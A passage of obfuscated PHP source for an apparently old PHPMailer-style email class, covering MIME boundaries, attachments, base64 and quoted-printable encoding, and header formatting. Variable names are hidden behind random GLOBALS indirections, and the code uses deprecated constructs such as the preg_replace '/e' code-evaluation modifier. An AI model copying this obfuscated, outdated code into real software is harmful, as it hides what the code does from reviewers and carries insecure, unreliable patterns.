${"GLOBALS"}["yihbxetc"] = "result";
$this->SetError(
$this->Lang("signing") . openssl_error_string()
);
${${"GLOBALS"}["yihbxetc"]} = "";
}
unlink(${${"GLOBALS"}["exbrbrhn"]});
unlink(${${"GLOBALS"}["vqldfxazp"]});
}
return ${${"GLOBALS"}["fmtoouet"]};
}
function GetBoundary($boundary, $charSet, $contentType, $encoding)
{
${"GLOBALS"}["ryesufusz"] = "contentType";
$shgmwylb = "result";
${"GLOBALS"}["fnhvebs"] = "result";
$hobhnqt = "result";
${$hobhnqt} = "";
if (${${"GLOBALS"}["fzbwacgiihth"]} == "") {
${${"GLOBALS"}["fzbwacgiihth"]} = $this->CharSet;
}
${"GLOBALS"}["xrbuhclngxv"] = "result";
if (${${"GLOBALS"}["ryesufusz"]} == "") {
$zetppexpjlv = "contentType";
${$zetppexpjlv} = $this->ContentType;
}
$xsgovok = "contentType";
if (${${"GLOBALS"}["diafxfqg"]} == "") {
${${"GLOBALS"}["diafxfqg"]} = $this->Encoding;
}
$pucuxkm = "result";
${$shgmwylb} .= $this->TextLine("--" . ${${"GLOBALS"}["qprrpd"]});
${$pucuxkm} .= sprintf(
"Content-Type: %s; charset = \x22%s\x22",
${$xsgovok},
${${"GLOBALS"}["fzbwacgiihth"]}
);
${${"GLOBALS"}["xrbuhclngxv"]} .= $this->LE;
${${"GLOBALS"}["fnhvebs"]} .= $this->HeaderLine(
"Content-Transfer-Encoding",
${${"GLOBALS"}["diafxfqg"]}
);
${"GLOBALS"}["ttbddzrtvhis"] = "result";
${${"GLOBALS"}["bpaotwhm"]} .= $this->LE;
return ${${"GLOBALS"}["ttbddzrtvhis"]};
}
function EndBoundary($boundary)
{
return $this->LE .
"--" .
${${"GLOBALS"}["qprrpd"]} .
"--" .
$this->LE;
}
function SetMessageType()
{
if (count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
$this->message_type = "plain";
} else {
if (count($this->attachment) > 0) {
$this->message_type = "attachments";
}
if (
strlen($this->AltBody) > 0 &&
count($this->attachment) < 1
) {
$this->message_type = "alt";
}
if (
strlen($this->AltBody) > 0 &&
count($this->attachment) > 0
) {
$this->message_type = "alt_attachments";
}
}
}
function HeaderLine($name, $value)
{
${"GLOBALS"}["fhepcwla"] = "value";
return ${${"GLOBALS"}["qucmytgisy"]} .
": " .
${${"GLOBALS"}["fhepcwla"]} .
$this->LE;
}
function TextLine($value)
{
return ${${"GLOBALS"}["sclnzlylrg"]} . $this->LE;
}
function AddAttachment(
$path,
$name = "",
$encoding = "base64",
$type = "application/octet-stream"
) {
${"GLOBALS"}["hbubscn"] = "cur";
${"GLOBALS"}["qmsrbnnzvjo"] = "filename";
$wxckjqie = "path";
${"GLOBALS"}["itttsiastl"] = "encoding";
$xhbcdk = "path";
if (!@is_file(${${"GLOBALS"}["djncwmkes"]})) {
$this->SetError(
$this->Lang("file_access") . ${${"GLOBALS"}["djncwmkes"]}
);
return false;
}
${"GLOBALS"}["ihykco"] = "name";
${"GLOBALS"}["bhqxtxv"] = "cur";
$tvjhhyk = "cur";
${${"GLOBALS"}["qmsrbnnzvjo"]} = basename(${$wxckjqie});
if (${${"GLOBALS"}["ihykco"]} == "") {
${"GLOBALS"}["lvyldrsn"] = "filename";
${${"GLOBALS"}["qucmytgisy"]} = ${${"GLOBALS"}["lvyldrsn"]};
}
${$tvjhhyk} = count($this->attachment);
$this->attachment[${${"GLOBALS"}["bhqxtxv"]}][0] = ${$xhbcdk};
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][1] = ${${"GLOBALS"}["gbjredusznc"]};
$this->attachment[${${"GLOBALS"}["hbubscn"]}][2] = ${${"GLOBALS"}[
"qucmytgisy"
]};
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][3] = ${${"GLOBALS"}["itttsiastl"]};
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][4] = ${${"GLOBALS"}["idvydcuot"]};
$this->attachment[${${"GLOBALS"}["bvhqwwzlhry"]}][5] = false;
${"GLOBALS"}["ouxjlrqfrbh"] = "cur";
$this->attachment[${${"GLOBALS"}["bvhqwwzlhry"]}][6] = "attachment";
$this->attachment[${${"GLOBALS"}["ouxjlrqfrbh"]}][7] = 0;
return true;
}
function AttachAll()
{
${"GLOBALS"}["pmflktpdnb"] = "mime";
${${"GLOBALS"}["hfnvcruiaew"]} = [];
${"GLOBALS"}["sxdkrpdu"] = "mime";
${"GLOBALS"}["owwyhtlb"] = "i";
for (
${${"GLOBALS"}["khvroce"]} = 0;
${${"GLOBALS"}["owwyhtlb"]} < count($this->attachment);
${${"GLOBALS"}["khvroce"]}++
) {
$fsmhgw = "filename";
$swlnokfdowh = "name";
$pisixvsqapi = "disposition";
$ecgimdhmv = "name";
${"GLOBALS"}["flxgop"] = "cid";
${"GLOBALS"}["divuwnzyc"] = "encoding";
$wnrmzekss = "encoding";
$wbmpdfo = "mime";
$fnwabrgoik = "bString";
$ygindgxkinjc = "mime";
$hpoohncmdl = "bString";
${${"GLOBALS"}["iuiokub"]} =
$this->attachment[${${"GLOBALS"}["khvroce"]}][5];
${"GLOBALS"}["whjtpduhx"] = "i";
if (${$hpoohncmdl}) {
$twnelysiybi = "string";
${$twnelysiybi} =
$this->attachment[${${"GLOBALS"}["khvroce"]}][0];
} else {
$jfywdcptd = "path";
$iogpsqygw = "i";
${$jfywdcptd} = $this->attachment[${$iogpsqygw}][0];
}
${$fsmhgw} = $this->attachment[${${"GLOBALS"}["khvroce"]}][1];
${$swlnokfdowh} =
$this->attachment[${${"GLOBALS"}["khvroce"]}][2];
$gldcnsv = "mime";
${${"GLOBALS"}["divuwnzyc"]} =
$this->attachment[${${"GLOBALS"}["khvroce"]}][3];
$llxxqtsvtz = "disposition";
${"GLOBALS"}["rkvmlnyfort"] = "name";
${${"GLOBALS"}["idvydcuot"]} =
$this->attachment[${${"GLOBALS"}["khvroce"]}][4];
${"GLOBALS"}["qfgzjxwxlfa"] = "i";
${$pisixvsqapi} =
$this->attachment[${${"GLOBALS"}["whjtpduhx"]}][6];
${${"GLOBALS"}["flxgop"]} =
$this->attachment[${${"GLOBALS"}["qfgzjxwxlfa"]}][7];
${${"GLOBALS"}["hfnvcruiaew"]}[] = sprintf(
"--%s%s",
$this->boundary[1],
$this->LE
);
${$gldcnsv}[] = sprintf(
"Content-Type: %s; name=\"%s\"%s",
${${"GLOBALS"}["idvydcuot"]},
${${"GLOBALS"}["rkvmlnyfort"]},
$this->LE
);
${$wbmpdfo}[] = sprintf(
"Content-Transfer-Encoding: %s%s",
${$wnrmzekss},
$this->LE
);
if (${${"GLOBALS"}["noamqogutb"]} == "inline") {
$lpkyxhnr = "mime";
${$lpkyxhnr}[] = sprintf(
"Content-ID: <%s>%s",
${${"GLOBALS"}["ecbuvrqed"]},
$this->LE
);
}
${$ygindgxkinjc}[] = sprintf(
"Content-Disposition: %s; filename=\x22%s\x22%s",
${$llxxqtsvtz},
${$ecgimdhmv},
$this->LE . $this->LE
);
if (${$fnwabrgoik}) {
$kduudglvesm = "mime";
$ohptpysjqt = "string";
$ohxbrexmot = "mime";
${"GLOBALS"}["dyjiakdhgpqz"] = "encoding";
${$kduudglvesm}[] = $this->EncodeString(
${$ohptpysjqt},
${${"GLOBALS"}["dyjiakdhgpqz"]}
);
if ($this->IsError()) {
return "";
}
${$ohxbrexmot}[] = $this->LE . $this->LE;
} else {
${"GLOBALS"}["dtltitx"] = "encoding";
${"GLOBALS"}["bfxoobci"] = "path";
${${"GLOBALS"}["hfnvcruiaew"]}[] = $this->EncodeFile(
${${"GLOBALS"}["bfxoobci"]},
${${"GLOBALS"}["dtltitx"]}
);
if ($this->IsError()) {
return "";
}
${${"GLOBALS"}["hfnvcruiaew"]}[] = $this->LE . $this->LE;
}
}
${${"GLOBALS"}["sxdkrpdu"]}[] = sprintf(
"--%s--%s",
$this->boundary[1],
$this->LE
);
return join("", ${${"GLOBALS"}["pmflktpdnb"]});
}
function EncodeFile($path, $encoding = "base64")
{
${"GLOBALS"}["ktsbslglb"] = "fd";
${"GLOBALS"}["egokksf"] = "magic_quotes";
${"GLOBALS"}["dzobtkvtj"] = "path";
$trxndqhyn = "file_buffer";
if (
!@${${"GLOBALS"}["gfrvwlppl"]} = fopen(
${${"GLOBALS"}["dzobtkvtj"]},
"rb"
)
) {
${"GLOBALS"}["wnyjdhfuemg"] = "path";
$this->SetError(
$this->Lang("file_open") . ${${"GLOBALS"}["wnyjdhfuemg"]}
);
return "";
}
${"GLOBALS"}["ehcgtqhwfo"] = "magic_quotes";
${"GLOBALS"}["kxzwervmht"] = "encoding";
${${"GLOBALS"}["egokksf"]} = get_magic_quotes_runtime();
set_magic_quotes_runtime(0);
${$trxndqhyn} = fread(
${${"GLOBALS"}["ktsbslglb"]},
filesize(${${"GLOBALS"}["djncwmkes"]})
);
${${"GLOBALS"}["jsvxfwjjvx"]} = $this->EncodeString(
${${"GLOBALS"}["jsvxfwjjvx"]},
${${"GLOBALS"}["kxzwervmht"]}
);
${"GLOBALS"}["uncygovjngh"] = "fd";
fclose(${${"GLOBALS"}["uncygovjngh"]});
set_magic_quotes_runtime(${${"GLOBALS"}["ehcgtqhwfo"]});
return ${${"GLOBALS"}["jsvxfwjjvx"]};
}
function EncodeString($str, $encoding = "base64")
{
$wrcidnqphtv = "encoded";
${"GLOBALS"}["jjpojyplin"] = "encoded";
$ijpokuvwdvb = "encoded";
$kcryaxajpjm = "encoded";
${"GLOBALS"}["pqvdfchjdq"] = "encoding";
${${"GLOBALS"}["bclnpxve"]} = "";
switch (strtolower(${${"GLOBALS"}["diafxfqg"]})) {
case "base64":
${${"GLOBALS"}["bclnpxve"]} = chunk_split(
base64_encode(${${"GLOBALS"}["ywijtjvmje"]}),
76,
$this->LE
);
break;
case "7bit":
case "8bit":
${${"GLOBALS"}["bclnpxve"]} = $this->FixEOL(
${${"GLOBALS"}["ywijtjvmje"]}
);
if (
substr(
${${"GLOBALS"}["bclnpxve"]},
-strlen($this->LE)
) != $this->LE
) {
${${"GLOBALS"}["jjpojyplin"]} .= $this->LE;
}
break;
case "binary":
${$wrcidnqphtv} = ${${"GLOBALS"}["ywijtjvmje"]};
break;
case "quoted-printable":
${$kcryaxajpjm} = $this->EncodeQP(
${${"GLOBALS"}["ywijtjvmje"]}
);
break;
default:
$this->SetError(
$this->Lang("encoding") . ${${"GLOBALS"}["pqvdfchjdq"]}
);
break;
}
return ${$ijpokuvwdvb};
}
function EncodeHeader($str, $position = "text")
{
$naxiyglryb = "str";
$tmbtooudux = "str";
$ajndqddh = "x";
${"GLOBALS"}["vwvjnlcqy"] = "x";
${${"GLOBALS"}["oymuydkkqw"]} = 0;
${"GLOBALS"}["pfjlbdpmhr"] = "str";
switch (strtolower(${${"GLOBALS"}["dsxvuybnptmj"]})) {
case "phrase":
if (
!preg_match(
"/[\\200-\\377]/",
${${"GLOBALS"}["ywijtjvmje"]}
)
) {
${"GLOBALS"}["kytjmasodcxi"] = "encoded";
${"GLOBALS"}["dpmthqjgcv"] = "str";
${${"GLOBALS"}["kytjmasodcxi"]} = addcslashes(
${${"GLOBALS"}["ywijtjvmje"]},
"\0..\37\177\\x22"
);
${"GLOBALS"}["buunuocmxv"] = "encoded";
if (
${${"GLOBALS"}["dpmthqjgcv"]} ==
${${"GLOBALS"}["buunuocmxv"]} &&
!preg_match(
"/[^A-Za-z0-9!#\$%&'*+\/=?^_`{|}~ -]/",
${${"GLOBALS"}["ywijtjvmje"]}
)
) {
return ${${"GLOBALS"}["bclnpxve"]};
} else {
return "\x22$encoded\x22";
}
}
${${"GLOBALS"}["oymuydkkqw"]} = preg_match_all(
"/[^\\040\\041\\043-\\133\135-\\176]/",
${${"GLOBALS"}["pfjlbdpmhr"]},
${${"GLOBALS"}["paiceqr"]}
);
break;
case "comment":
${${"GLOBALS"}["oymuydkkqw"]} = preg_match_all(
"/[()\x22]/",
${$tmbtooudux},
${${"GLOBALS"}["paiceqr"]}
);
case "text":
default:
${$ajndqddh} += preg_match_all(
"/[\000-\010\013\\014\\016-\\037\177-\\377]/",
${$naxiyglryb},
${${"GLOBALS"}["paiceqr"]}
);
break;
}
if (${${"GLOBALS"}["oymuydkkqw"]} == 0) {
$fitklqbe = "str";
return ${$fitklqbe};
}
$ccpfce = "encoded";
$wrdcihfcmpe = "encoded";
${${"GLOBALS"}["hcdslozolxke"]} = 75 - 7 - strlen($this->CharSet);
${"GLOBALS"}["qkibkobw"] = "encoded";
if (
strlen(${${"GLOBALS"}["ywijtjvmje"]}) / 3 <
${${"GLOBALS"}["vwvjnlcqy"]}
) {
${"GLOBALS"}["lmvnnhkgh"] = "str";
${${"GLOBALS"}["diafxfqg"]} = "B";
if (
function_exists("mb_strlen") &&
$this->HasMultiBytes(${${"GLOBALS"}["lmvnnhkgh"]})
) {
$ucggolqtlzn = "str";
${${"GLOBALS"}["bclnpxve"]} = $this->Base64EncodeWrapMB(
${$ucggolqtlzn}
);
} else {
$bekhbbxz = "str";
${"GLOBALS"}["chgvxw"] = "maxlen";
${"GLOBALS"}["gsljjszt"] = "encoded";
$kmyjbrc = "maxlen";
${${"GLOBALS"}["bclnpxve"]} = base64_encode(${$bekhbbxz});
${"GLOBALS"}["rqwntgsuheh"] = "maxlen";
$ocicbmy = "encoded";
${${"GLOBALS"}["chgvxw"]} -= ${$kmyjbrc} % 4;
${${"GLOBALS"}["gsljjszt"]} = trim(
chunk_split(
${$ocicbmy},
${${"GLOBALS"}["rqwntgsuheh"]},
"\n"
)
);
}
} else {
${"GLOBALS"}["qrqxsoqw"] = "encoded";
${"GLOBALS"}["ysghpyhe"] = "encoded";
${${"GLOBALS"}["diafxfqg"]} = "Q";
${"GLOBALS"}["egduuevri"] = "maxlen";
$chtxhn = "encoded";
${${"GLOBALS"}["bclnpxve"]} = $this->EncodeQ(
${${"GLOBALS"}["ywijtjvmje"]},
${${"GLOBALS"}["dsxvuybnptmj"]}
);
${${"GLOBALS"}["bclnpxve"]} = $this->WrapText(
${$chtxhn},
${${"GLOBALS"}["egduuevri"]},
true
);
${${"GLOBALS"}["ysghpyhe"]} = str_replace(
"=" . $this->LE,
"\n",
trim(${${"GLOBALS"}["qrqxsoqw"]})
);
}
${${"GLOBALS"}["bclnpxve"]} = preg_replace(
"/^(.*)\$/m",
" =?" . $this->CharSet . "?$encoding?\1?=",
${$ccpfce}
);
${${"GLOBALS"}["bclnpxve"]} = trim(
str_replace("\n", $this->LE, ${${"GLOBALS"}["qkibkobw"]})
);
return ${$wrdcihfcmpe};
}
function HasMultiBytes($str)
{
if (function_exists("mb_strlen")) {
${"GLOBALS"}["bfeisvmgkurr"] = "str";
return strlen(${${"GLOBALS"}["ywijtjvmje"]}) >
mb_strlen(${${"GLOBALS"}["bfeisvmgkurr"]}, $this->CharSet);
} else {
return false;
}
}
function Base64EncodeWrapMB($str)
{
$vkjqamoxqxb = "encoded";
${${"GLOBALS"}["zfdvvckjp"]} = "=?" . $this->CharSet . "?B?";
${"GLOBALS"}["mvclivtjx"] = "mb_length";
${"GLOBALS"}["hthgiarjvo"] = "end";
${"GLOBALS"}["hzljiolpe"] = "end";
$zglsdo = "mb_length";
${"GLOBALS"}["bousdloh"] = "ratio";
${${"GLOBALS"}["hthgiarjvo"]} = "?=";
$xfaiinrlsa = "i";
${"GLOBALS"}["ohmyuusuzuxc"] = "i";
${$vkjqamoxqxb} = "";
${"GLOBALS"}["rpiumqix"] = "encoded";
${${"GLOBALS"}["mvclivtjx"]} = mb_strlen(
${${"GLOBALS"}["ywijtjvmje"]},
$this->CharSet
);
${${"GLOBALS"}["krcegmdfvub"]} =
75 -
strlen(${${"GLOBALS"}["zfdvvckjp"]}) -
strlen(${${"GLOBALS"}["hzljiolpe"]});
${${"GLOBALS"}["bousdloh"]} =
${${"GLOBALS"}["hlsilrjrjo"]} /
strlen(${${"GLOBALS"}["ywijtjvmje"]});
${${"GLOBALS"}["dgafourxl"]} = ${${"GLOBALS"}[
"bdgsxqrqjyo"
]} = floor(
${${"GLOBALS"}["krcegmdfvub"]} *
${${"GLOBALS"}["ffcjzhf"]} *
0.75
);
for (
${${"GLOBALS"}["ohmyuusuzuxc"]} = 0;
${$xfaiinrlsa} < ${$zglsdo};
${${"GLOBALS"}["khvroce"]} += ${${"GLOBALS"}["dgafourxl"]}
) {
${"GLOBALS"}["mcwixts"] = "lookBack";
$fzuqxm = "chunk";
${${"GLOBALS"}["mcwixts"]} = 0;
${"GLOBALS"}["lpwoczibb"] = "encoded";
do {
${${"GLOBALS"}["dgafourxl"]} =
${${"GLOBALS"}["bdgsxqrqjyo"]} -
${${"GLOBALS"}["mmbogfbse"]};
${"GLOBALS"}["gggokvdusr"] = "chunk";
$guwmyvnxfkw = "chunk";
${${"GLOBALS"}["bcopwgsj"]} = mb_substr(
${${"GLOBALS"}["ywijtjvmje"]},
${${"GLOBALS"}["khvroce"]},
${${"GLOBALS"}["dgafourxl"]},
$this->CharSet
);
${$guwmyvnxfkw} = base64_encode(
${${"GLOBALS"}["gggokvdusr"]}
);
${${"GLOBALS"}["mmbogfbse"]}++;
} while (
strlen(${${"GLOBALS"}["bcopwgsj"]}) >
${${"GLOBALS"}["krcegmdfvub"]}
);
${${"GLOBALS"}["lpwoczibb"]} .= ${$fzuqxm} . $this->LE;
}
${${"GLOBALS"}["bclnpxve"]} = substr(
${${"GLOBALS"}["rpiumqix"]},
0,
-strlen($this->LE)
);
return ${${"GLOBALS"}["bclnpxve"]};
}
function EncodeQP($input = "", $line_max = 76, $space_conv = false)
{
$sypkjgdsibbd = "hex";
${$sypkjgdsibbd} = [
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"A",
"B",
"C",
"D",
"E",
"F",
];
${"GLOBALS"}["ljlywyswv"] = "lines";
${${"GLOBALS"}["nfkfyewllck"]} = preg_split(
"/(?:\r\n|\\r|\\n)/",
${${"GLOBALS"}["rrxykxuruwo"]}
);
${"GLOBALS"}["iwachl"] = "eol";
${${"GLOBALS"}["iwachl"]} = "\r\n";
${${"GLOBALS"}["glazwpnuv"]} = "=";
$gpinofzqqdo = "output";
${${"GLOBALS"}["cljvcw"]} = "";
while (
list(, ${${"GLOBALS"}["zeplfdp"]}) = each(
${${"GLOBALS"}["ljlywyswv"]}
)
) {
${${"GLOBALS"}["okzkmnu"]} = strlen(${${"GLOBALS"}["zeplfdp"]});
$krhhmhyrw = "i";
$trneqxnjvpj = "newline";
${"GLOBALS"}["ncnumfvy"] = "i";
${${"GLOBALS"}["jhuugegy"]} = "";
for (
${${"GLOBALS"}["ncnumfvy"]} = 0;
${$krhhmhyrw} < ${${"GLOBALS"}["okzkmnu"]};
${${"GLOBALS"}["khvroce"]}++
) {
${"GLOBALS"}["tzwtyjno"] = "dec";
$mlvdoegddi = "c";
$elcimgef = "i";
$orykgpswexs = "c";
$mugcacxhe = "i";
${"GLOBALS"}["vbkclwtcn"] = "newline";
${${"GLOBALS"}["pwhiqbdulrrw"]} = substr(
${${"GLOBALS"}["zeplfdp"]},
${$mugcacxhe},
1
);
${${"GLOBALS"}["oafvjqenxo"]} = ord(${$orykgpswexs});
${"GLOBALS"}["pljoqktbev"] = "dec";
if (
${$elcimgef} == 0 &&
${${"GLOBALS"}["oafvjqenxo"]} == 46
) {
${"GLOBALS"}["vuidysqjt"] = "c";
${${"GLOBALS"}["vuidysqjt"]} = "=2E";
}
${"GLOBALS"}["bvlpnaz"] = "newline";
if (${${"GLOBALS"}["oafvjqenxo"]} == 32) {
${"GLOBALS"}["uvnkdlviwm"] = "space_conv";
$rhjscm = "i";
if (${$rhjscm} == ${${"GLOBALS"}["okzkmnu"]} - 1) {
${${"GLOBALS"}["pwhiqbdulrrw"]} = "=20";
} elseif (${${"GLOBALS"}["uvnkdlviwm"]}) {
${${"GLOBALS"}["pwhiqbdulrrw"]} = "=20";
}
} elseif (
${${"GLOBALS"}["tzwtyjno"]} == 61 ||
${${"GLOBALS"}["pljoqktbev"]} < 32 ||
${${"GLOBALS"}["oafvjqenxo"]} > 126
) {
${"GLOBALS"}["teghhingke"] = "h2";
${"GLOBALS"}["kpunsoyuy"] = "dec";
${"GLOBALS"}["ybucnoizjn"] = "h1";
$qijqdegiav = "escape";
$mtjyqhu = "dec";
${${"GLOBALS"}["teghhingke"]} = floor(
${${"GLOBALS"}["kpunsoyuy"]} / 16
);
$bbmrgvbyjq = "h2";
${${"GLOBALS"}["ybucnoizjn"]} = floor(${$mtjyqhu} % 16);
${${"GLOBALS"}["pwhiqbdulrrw"]} =
${$qijqdegiav} .
${${"GLOBALS"}["supqnmmhraf"]}[${$bbmrgvbyjq}] .
${${"GLOBALS"}["supqnmmhraf"]}[
${${"GLOBALS"}["esyuoqavlqe"]}
];
}
if (
strlen(${${"GLOBALS"}["bvlpnaz"]}) +
strlen(${$mlvdoegddi}) >=
${${"GLOBALS"}["outfvakj"]}
) {
$gcfcrdnvnxv = "output";
${"GLOBALS"}["nahnrqknsd"] = "escape";
$wluiudcdswq = "newline";
$repdvxlse = "eol";
${$gcfcrdnvnxv} .=
${${"GLOBALS"}["jhuugegy"]} .
${${"GLOBALS"}["nahnrqknsd"]} .
${$repdvxlse};
${$wluiudcdswq} = "";
if (${${"GLOBALS"}["oafvjqenxo"]} == 46) {
${${"GLOBALS"}["pwhiqbdulrrw"]} = "=2E";
}
}
${${"GLOBALS"}["vbkclwtcn"]} .= ${${"GLOBALS"}[
"pwhiqbdulrrw"
]};
}
${"GLOBALS"}["gyrpmqo"] = "output";
${${"GLOBALS"}["gyrpmqo"]} .=
${$trneqxnjvpj} . ${${"GLOBALS"}["qekjpjlu"]};
}
return trim(${$gpinofzqqdo});
}
function EncodeQ($str, $position = "text")
{
$txnswae = "str";
${"GLOBALS"}["kmpqwboek"] = "encoded";
$kajrims = "encoded";
${"GLOBALS"}["xvwlhh"] = "encoded";
${"GLOBALS"}["ignnroktf"] = "encoded";
${"GLOBALS"}["ayvkjmu"] = "encoded";
${"GLOBALS"}["boxpjtrfl"] = "encoded";
${${"GLOBALS"}["kmpqwboek"]} = preg_replace(
"[\r\n]",
"",
${$txnswae}
);
switch (strtolower(${${"GLOBALS"}["dsxvuybnptmj"]})) {
case "phrase":
${${"GLOBALS"}["xvwlhh"]} = preg_replace(
"/([^A-Za-z0-9!*+\\/ -])/e",
"'='.sprintf('%02X', ord('\1'))",
${$kajrims}
);
break;
case "comment":
${${"GLOBALS"}["ignnroktf"]} = preg_replace(
"/([\(\\)\"])/e",
"'='.sprintf('%02X', ord('\1'))",
${${"GLOBALS"}["bclnpxve"]}
);
case "text":
default:
${${"GLOBALS"}["boxpjtrfl"]} = preg_replace(
"/([\000-\\011\\013\014\\016-\\037\\075\\077\\137\\177-\377])/e",
"'='.sprintf('%02X', ord('\1'))",
${${"GLOBALS"}["bclnpxve"]}
);
break;
}
${${"GLOBALS"}["bclnpxve"]} = str_replace(
" ",
"_",
${${"GLOBALS"}["bclnpxve"]}
);
return ${${"GLOBALS"}["ayvkjmu"]};
}
function AddStringAttachment(
$string,
$filename,
$encoding = "base64",
$type = "application/octet-stream"
) {
$uxrryphxbn = "cur";
${$uxrryphxbn} = count($this->attachment);
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][0] = ${${"GLOBALS"}["upxxjqiesl"]};
$aididnklh = "cur";
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][1] = ${${"GLOBALS"}["gbjredusznc"]};
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][2] = ${${"GLOBALS"}["gbjredusznc"]};
$igtxvy = "cur";
$this->attachment[${$igtxvy}][3] = ${${"GLOBALS"}["diafxfqg"]};
${"GLOBALS"}["btluklffqrrk"] = "cur";
$qkqburgkiq = "cur";
$this->attachment[${$aididnklh}][4] = ${${"GLOBALS"}["idvydcuot"]};
$this->attachment[${${"GLOBALS"}["bvhqwwzlhry"]}][5] = true;
$this->attachment[${$qkqburgkiq}][6] = "attachment";
$this->attachment[${${"GLOBALS"}["btluklffqrrk"]}][7] = 0;
}
function AddEmbeddedImage(
$path,
$cid,
$name = "",
$encoding = "base64",
$type = "application/octet-stream"
) {
$ophbuet = "filename";
$qbtrdkb = "name";
${"GLOBALS"}["blxuubqtdkn"] = "cur";
$ykchenms = "cur";
$hvjvlbz = "name";
${"GLOBALS"}["efmuahwye"] = "type";
$dqrumcdcdk = "path";
if (!@is_file(${$dqrumcdcdk})) {
$ihdqvdvq = "path";
$this->SetError($this->Lang("file_access") . ${$ihdqvdvq});
return false;
}
$hgpzusdefo = "cur";
${$ophbuet} = basename(${${"GLOBALS"}["djncwmkes"]});
${"GLOBALS"}["pgjeutxpr"] = "cur";
${"GLOBALS"}["bqujnayrlpe"] = "cur";
if (${$qbtrdkb} == "") {
${${"GLOBALS"}["qucmytgisy"]} = ${${"GLOBALS"}["gbjredusznc"]};
}
${${"GLOBALS"}["bvhqwwzlhry"]} = count($this->attachment);
$this->attachment[
${${"GLOBALS"}["blxuubqtdkn"]}
][0] = ${${"GLOBALS"}["djncwmkes"]};
$this->attachment[${$hgpzusdefo}][1] = ${${"GLOBALS"}[
"gbjredusznc"
]};
$this->attachment[${${"GLOBALS"}["pgjeutxpr"]}][2] = ${$hvjvlbz};
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][3] = ${${"GLOBALS"}["diafxfqg"]};
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][4] = ${${"GLOBALS"}["efmuahwye"]};
$this->attachment[${$ykchenms}][5] = false;
$this->attachment[${${"GLOBALS"}["bqujnayrlpe"]}][6] = "inline";
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][7] = ${${"GLOBALS"}["ecbuvrqed"]};
return true;
}
function InlineImageExists()
{
$qkaygim = "result";
$fpqbqbgd = "i";
${$qkaygim} = false;
for (
${${"GLOBALS"}["khvroce"]} = 0;
${${"GLOBALS"}["khvroce"]} < count($this->attachment);
${$fpqbqbgd}++
) {
$wbzgfu = "i";
if ($this->attachment[${$wbzgfu}][6] == "inline") {
${${"GLOBALS"}["bpaotwhm"]} = true;
break;
}
}
return ${${"GLOBALS"}["bpaotwhm"]};
}
function ClearAddresses()
{
$this->to = [];
}
function ClearCCs()
{
$this->cc = [];
}
function ClearBCCs()
{
$this->bcc = [];
}
function ClearReplyTos()
{
$this->ReplyTo = [];
}
function ClearAllRecipients()
{
$this->to = [];
$this->cc = [];
$this->bcc = [];
}
function ClearAttachments()
{
$this->attachment = [];
}
function ClearCustomHeaders()
{
$this->CustomHeader = [];
}
function SetError($msg)
{
$this->error_count++;
$this->ErrorInfo = ${${"GLOBALS"}["kwsinnoegu"]};
}
function RFCDate()
{
$mecofuxick = "tz";
${$mecofuxick} = date("Z");
$ghleuxq = "tz";
${"GLOBALS"}["wqosvyfg"] = "tz";
${"GLOBALS"}["oboutyuvwktx"] = "tz";
${"GLOBALS"}["qzinvzqnyhq"] = "tz";
${"GLOBALS"}["fpxxultd"] = "tzs";
${"GLOBALS"}["wjakekpur"] = "result";
${${"GLOBALS"}["dbkniwmfaj"]} =
${${"GLOBALS"}["qnyrrqvmkqc"]} < 0 ? "-" : "+";
${${"GLOBALS"}["wqosvyfg"]} = abs(${$ghleuxq});
${${"GLOBALS"}["qzinvzqnyhq"]} =
(int) (${${"GLOBALS"}["qnyrrqvmkqc"]} / 3600) * 100 +
(${${"GLOBALS"}["oboutyuvwktx"]} % 3600) / 60;
$xophvsb = "result";
${$xophvsb} = sprintf(
"%s %s%04d",
date("D, j M Y H:i:s"),
${${"GLOBALS"}["fpxxultd"]},
${${"GLOBALS"}["qnyrrqvmkqc"]}
);
return ${${"GLOBALS"}["wjakekpur"]};
}
function ServerVar($varName)
{
global $HTTP_SERVER_VARS;
global $HTTP_ENV_VARS;
if (!isset($_SERVER)) {
$_SERVER = $HTTP_SERVER_VARS;
if (!isset($_SERVER["REMOTE_ADDR"])) {
$_SERVER = $HTTP_ENV_VARS;
}
}
if (isset($_SERVER[${${"GLOBALS"}["pbjvxopxat"]}])) {
$lpqtlhdvw = "varName";
return $_SERVER[${$lpqtlhdvw}];
} else {
return "";
}
}
function ServerHostname()
{
if ($this->Hostname != "") {
${"GLOBALS"}["hngkcvlqec"] = "result";
${${"GLOBALS"}["hngkcvlqec"]} = $this->Hostname;
} elseif ($this->ServerVar("SERVER_NAME") != "") {
${${"GLOBALS"}["bpaotwhm"]} = $this->ServerVar("SERVER_NAME");
} else {
${${"GLOBALS"}["bpaotwhm"]} = "localhost.localdomain";
}
return ${${"GLOBALS"}["bpaotwhm"]};
}
function Lang($key)
{
if (count($this->language) < 1) {
$this->SetLanguage("en");
}
if (isset($this->language[${${"GLOBALS"}["jsgvyvlhvdg"]}])) {
${"GLOBALS"}["otefrdwm"] = "key";
return $this->language[${${"GLOBALS"}["otefrdwm"]}];
} else {
$nzhogs = "key";
return "Language string failed to load: " . ${$nzhogs};
}
}
function IsError()
{
return $this->error_count > 0;
}
function FixEOL($str)
{
${"GLOBALS"}["yrgimjo"] = "str";
$yosyido = "str";
${"GLOBALS"}["kcnjfva"] = "str";
${"GLOBALS"}["rcyfas"] = "str";
${"GLOBALS"}["lnviqpxgzlq"] = "str";
${${"GLOBALS"}["yrgimjo"]} = str_replace(
"\r\n",
"\n",
${${"GLOBALS"}["ywijtjvmje"]}
);
${${"GLOBALS"}["ywijtjvmje"]} = str_replace(
"\r",
"\n",
${${"GLOBALS"}["kcnjfva"]}
);
${${"GLOBALS"}["rcyfas"]} = str_replace(
"\n",
$this->LE,
${${"GLOBALS"}["lnviqpxgzlq"]}
);
return ${$yosyido};
}
function AddCustomHeader($custom_header)
{
